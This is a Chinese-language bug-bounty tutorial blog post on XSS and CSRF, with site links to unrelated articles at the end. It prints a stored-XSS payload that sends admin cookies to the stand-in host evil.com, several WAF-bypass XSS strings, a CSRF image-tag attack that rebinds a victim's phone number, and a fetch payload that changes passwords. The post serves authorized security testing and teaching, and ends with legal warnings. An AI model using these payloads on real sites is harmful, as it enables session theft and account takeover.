【SRC漏洞挖掘系列】第02期:XSS与CSRF——Web世界的“偷家”艺术

上期回顾 :我们扒光了目标的资产(情报收集)。本期开始,我们要对这些目标进行"物理超度"------哦不,是合法的安全测试 。今天的主角是 Web 漏洞界的"哼哈二将":XSS ​ 和 CSRF


一、为什么这俩货这么重要?

很多新手觉得 XSS 是"弹个框就没用了",那是你不会玩。

  • XSS(跨站脚本) :相当于你在别人家的墙上涂鸦(植入JS)

  • CSRF(跨站请求伪造) :相当于你伪造了别人的**签名(Cookie)**去银行取钱。

在SRC里,一个存储型XSS进后台,往往意味着服务器权限(Getshell)的大门已开。


二、XSS:从"弹窗"到"接管后台"

1. 三种形态,各有千秋

类型 别名 危害等级 特点
反射型 非持久化 低/中 需要诱导管理员点击链接(钓鱼)。
存储型 持久化 插进数据库。每次访问页面自动触发,专杀后台管理员。
DOM型 前端漏洞 不走服务器,前端JS处理不当导致。

2. 实战案例:后台管理员的"噩梦"

场景:某论坛发帖功能存在存储型XSS。

Payload(攻击载荷)

html 复制代码
<script>
  // 窃取管理员Cookie
  var img = new Image();
  img.src = "http://evil.com/log?" + document.cookie;
</script>

发生了什么?

  1. 你把这段代码发在帖子正文。

  2. 管理员在后台查看帖子列表。

  3. 管理员的 Cookie 瞬间发送到了你的服务器 evil.com

  4. 你拿着管理员的 Cookie,用浏览器插件(如 EditThisCookie)替换自己的 Cookie。

  5. 结果:你不用密码,直接以管理员身份登录后台。🎉

3. 绕过WAF的"猥琐流"技巧

现在的防火墙(WAF)都很聪明,直接插 <script>会被拦截。我们需要变形:

  • 大小写混淆<ScRiPt>alert(1)</ScRiPt>

  • 闭合标签"><svg onload=alert(1)>

  • 编码绕过\u003cscript\u003e(Unicode编码)

  • 利用HTML5特性<details open ontoggle=alert(1)>

SRC加分项 :如果你能绕过厂商的WAF(Web应用防火墙)实现XSS,厂商通常会给你更高的评分,因为这证明了他们的防御体系有缺陷。


三、CSRF:借刀杀人的艺术

1. 核心原理:浏览器的小秘密

浏览器会自动携带当前网站的 Cookie。

如果你的浏览器里保存了 bank.com的登录状态,你打开了一个恶意网站 evil.com,这个网站里有个表单是向 bank.com转账的,浏览器会傻乎乎地带着你的Cookie去执行转账

2. 实战案例:改绑手机号

场景:某SRC站点修改绑定手机的接口如下:

https://example.com/user/changePhone?phone=13800138000&userId=1001

漏洞点:该接口没有验证"原手机号验证码",也没有 Token 验证。

攻击步骤

  1. 你构造一个恶意页面 attack.html

    html 复制代码
    <body>
      <!-- 偷偷发起请求 -->
      <img src="https://example.com/user/changePhone?phone=你的手机号&userId=1001">
    </body>
  2. 诱骗受害者(或者自己切换账号测试)在登录状态下访问 attack.html

  3. 结果:受害者的账号手机号被悄悄改成了你的手机号。你可以通过"找回密码"直接接管他的账号。

3. 防御与绕过

  • 防御:Referer 校验、CSRF Token、验证码。

  • 绕过

    • Referer绕过 :如果后端只校验 contains("example.com"),你可以把文件名改成 example.com.html放在你的服务器上。

    • Token绕过:如果Token生成算法可预测,或者Token未绑定Session。


四、XSS + CSRF = 王炸

单独的XSS或CSRF可能已经修好了,但如果组合起来呢?

案例 :某站有反射型XSS ,但没有CSRF Token

你可以构造一个链接,用户一点击,不仅执行了XSS,还利用XSS发起了一个AJAX请求(CSRF),偷偷把用户的密码改了。

javascript 复制代码
// XSS Payload 中包含 CSRF 攻击
fetch('/user/changePassword', {
  method: 'POST',
  body: 'newPwd=Hacked123',
  credentials: 'include' // 携带Cookie
});

五、SRC报告撰写Tips

写报告时,别只说"这里有XSS"。

  • Bad<script>alert(1)</script>弹窗了。

  • Good"由于未过滤特殊字符,导致存储型XSS,攻击者可通过此漏洞窃取管理员Session,进而控制后台服务器,造成数据泄露。"


六、互动与思考

漏洞类型 核心利用点 防御手段
XSS 前端JS执行 转义输出 (HtmlSpecialChars)
CSRF 利用浏览器自动带Cookie CSRF Token, SameSite Cookie

💬 互动话题

大家在挖洞时,有没有遇到过那种"明明弹窗了,但是厂商说不收"的情况?或者遇到过哪些奇葩的WAF拦截规则?欢迎吐槽!


⚠️ 法律红线警示

  1. 严禁在未授权情况下,对他人网站进行 XSS 挂马、篡改页面或窃取真实用户数据。

  2. 严禁利用 CSRF 漏洞对真实用户进行攻击或恶意操作(如改密码、转账)。

  3. 测试 XSS 时,建议使用 alert(document.domain)console.log作为证明,不要窃取他人的 Cookie 进行登录。

  4. 所有实验请在本地靶场(如 DVWA , XSS Challenges)中进行。

    技术无罪,人心有善恶。守住底线,做正义的白帽子。

下一期,我们将进入 SQL注入​ 的世界,揭秘如何"脱裤"(拖库)。准备好你的 SQLMap 了吗?😎

相关推荐
用户479492835691513 小时前
6w star,GitHub 趋势第一的 Ponytail,这个agent插件到底在火什么
前端·后端
薛定喵的谔15 小时前
我开源了一个精致的 Next.js 博客模板:Skyplume
前端·前端框架·next.js
张龙68715 小时前
构建生产级 AI Agent:工具调用与记忆架构实战指南
前端
kyriewen16 小时前
2026 年了,还在用 Node.js?Bun 迁移实战:20 分钟搞定,附踩坑记录
前端·javascript·node.js
青山Coding18 小时前
Cesium应用(八):物体运动的实现思路
前端·cesium
用户416596736935518 小时前
Android WebView 加载 file:// 离线页面调试教程
android·前端
Asmewill18 小时前
curl命令学习笔记一
前端
我是一只快乐的小螃蟹18 小时前
1.2 ArrayList 源码解析
前端
星栈18 小时前
我用 Rust + Dioxus 做了个全栈跨平台笔记应用:再把新建、编辑和交付补上
前端·rust·前端框架
我是一只快乐的小螃蟹18 小时前
1.1 HashMap (JDK1.8) 源码解析
前端